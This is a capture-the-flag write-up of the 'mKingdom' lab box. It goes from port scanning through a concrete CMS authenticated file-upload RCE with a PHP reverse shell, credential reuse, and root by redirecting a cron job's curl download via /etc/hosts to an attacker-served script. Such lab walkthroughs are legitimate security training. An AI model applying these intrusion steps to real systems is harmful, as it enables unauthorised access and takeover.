mKingdom

Beginner-friendly box inspired by a certain mustache man.

Recon

Let's start with a nmap scan. We can see only one open port: 85. We are dealing with an Apache httpd 2.4.7 web server. The title suggests defacing has happened.

┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nmap -p- mkingdom.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:32 BST
Nmap scan report for mkingdom.thm (10.10.229.74)
Host is up (0.15s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
85/tcp open  mit-ml-dev

Nmap done: 1 IP address (1 host up) scanned in 147.61 seconds
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nmap -sC -sV -p 85 mkingdom.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:59 BST
Nmap scan report for mkingdom.thm (10.10.229.74)
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.85 seconds

Visiting the site we are greeting with the picture of Bowser the famous villain from Mario.

We enumerate with Gobuster.

┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ gobuster dir -u http://mkingdom.thm:85/ -w /usr/share/wordlists/dirb/big.txt    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mkingdom.thm:85/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 288]
/.htpasswd            (Status: 403) [Size: 288]
/app                  (Status: 301) [Size: 312] [--> http://mkingdom.thm:85/app/]
/server-status        (Status: 403) [Size: 292]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

Manually and with Gobuster we reach a blog at endpoint /app/castle.

There is only one blog post.

We see that the CMS concrete is being used. In the source, we also find the version used: 8.5.2. This is vulnerable to authenticated remote code execution.

This vulnerability is explained step-by-step in the following post. The requirement here is to be in possession of admin credentials, as this allows you to modify upload restrictions by adding file types and then uploading and triggering a PHP reverse shell.

Initial Access

We know about the possible entry point through authenticated RCE, but still need credentials.

We can log in with the username admin and a very password that starts with p.

We are able to log in and access the admin dashboard available.

Select System & Settings, then Allowed File Type.

Next, add php, separated by a comma, and save the changes.

We can use the reverse shell from PentestMonkey.

To upload files, we simply drag them into the File Manager at /app/castle/dashboard/files/search⁣⁣. We get the URL to access the file. Before we do that, we set up a listener on our chosen port

Next, we visit the link presented.

http://mkingdom.thm:85/app/castle/application/files/6917/1869/6840/rs.php

We get a connection from our reverse shell as www-data. Unfortunately, we won't find the user flag here. We have to move laterally. By inspection /etc/passwd we find two users, toad and mario.

We run linpeas.sh and discover that cat is a SUID binary owned by the user toad. This means that running cat as a different user will execute the binary with toad's privileges.

$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address     Foreign Address   State      PID/Program name
tcp        0      0 127.0.0.1:3306       0.0.0.0:*      LISTEN        -               
tcp        0      0 127.0.0.1:631        0.0.0.0:*      LISTEN        -               
tcp6       0      0 :::85                   :::*        LISTEN        -               
tcp6       0      0 ::1:631                 :::*        LISTEN        -               
udp        0      0 0.0.0.0:5353         0.0.0.0:*                    -               
udp        0      0 0.0.0.0:53109        0.0.0.0:*                    -               
udp        0      0 0.0.0.0:68           0.0.0.0:*                    -               
udp        0      0 0.0.0.0:43628        0.0.0.0:*                    -               
udp        0      0 0.0.0.0:631          0.0.0.0:*                    -               
udp6       0      0 :::5353                 :::*                      -              
udp6       0      0 :::33649                :::*                      -
udp6       0      0 :::46215                :::*                      -

MySQL is running internally. Maybe we can retrieve some credentials from the web app.

By examining the configuration files, we can find the database credentials. Although exploring the database might not reveal any new users, it's worth checking if the same credentials are being reused elsewhere.

We are able to switch users for toad.

While enumerating the target manually, we find a strange password token in the env variable encoded in base 64.

We can decode it and switch to mario

Here we find the first flag, and we can't read the flag, because of the SUID bit set. We look for another copy of cat on the machine and find one at /usr/lib/klibc/cat, With that, we can read the last flag.

Privilege Escalation

We upload and run pspy64 on the machine to discover processes running in the background.

mario@mkingdom:~$ wget http://10.17.15.155/pspy64
--2024-06-18 03:20:35--  http://10.17.15.155/pspy64
Connecting to 10.17.15.155:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

100%[======================================>] 3,104,768   1.88MB/s   in 1.6s   

2024-06-18 03:20:37 (1.88 MB/s) - ‘pspy64’ saved [3104768/3104768]

mario@mkingdom:~$ ls
Desktop    Downloads  Pictures  Public     user.txt
Documents  Music      pspy64    Templates  Videos
mario@mkingdom:~$ chmod +x pspy64
mario@mkingdom:~$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2024/06/18 03:21:00 CMD: UID=1001  PID=31375  | ./pspy64 

Here we find a cronjob that uses cURL to download a script at mkingdom.thm and execute it. If we are somehow able to write to /etc/host, we can uplaod a malicious script that executes a reverse shell for us.

We can confirm that we are able to write to /etc/hosts as mario

With nano or vi we can update the /etc/hosts and replace the existing IP for mkingdom.thm with our own IP address

Next, we create the folder structure, create the script, place it in the correct location, and set up a web server on port 85 using Python. Besides this, a listener is running on our desired port.

┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app/castle
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app/castle/application  
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ ls
app
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nano counter.sh             

┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mv counter.sh app/castle/application/counter.sh

┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ python3 -m http.server 85 
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.229.74 - - [18/Jun/2024 08:36:03] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -

After a some time, the script gets downloaded.

We get a reverse shell connection back as root. We can read the flag in the home directory of root using cat.

Last updated

Was this helpful?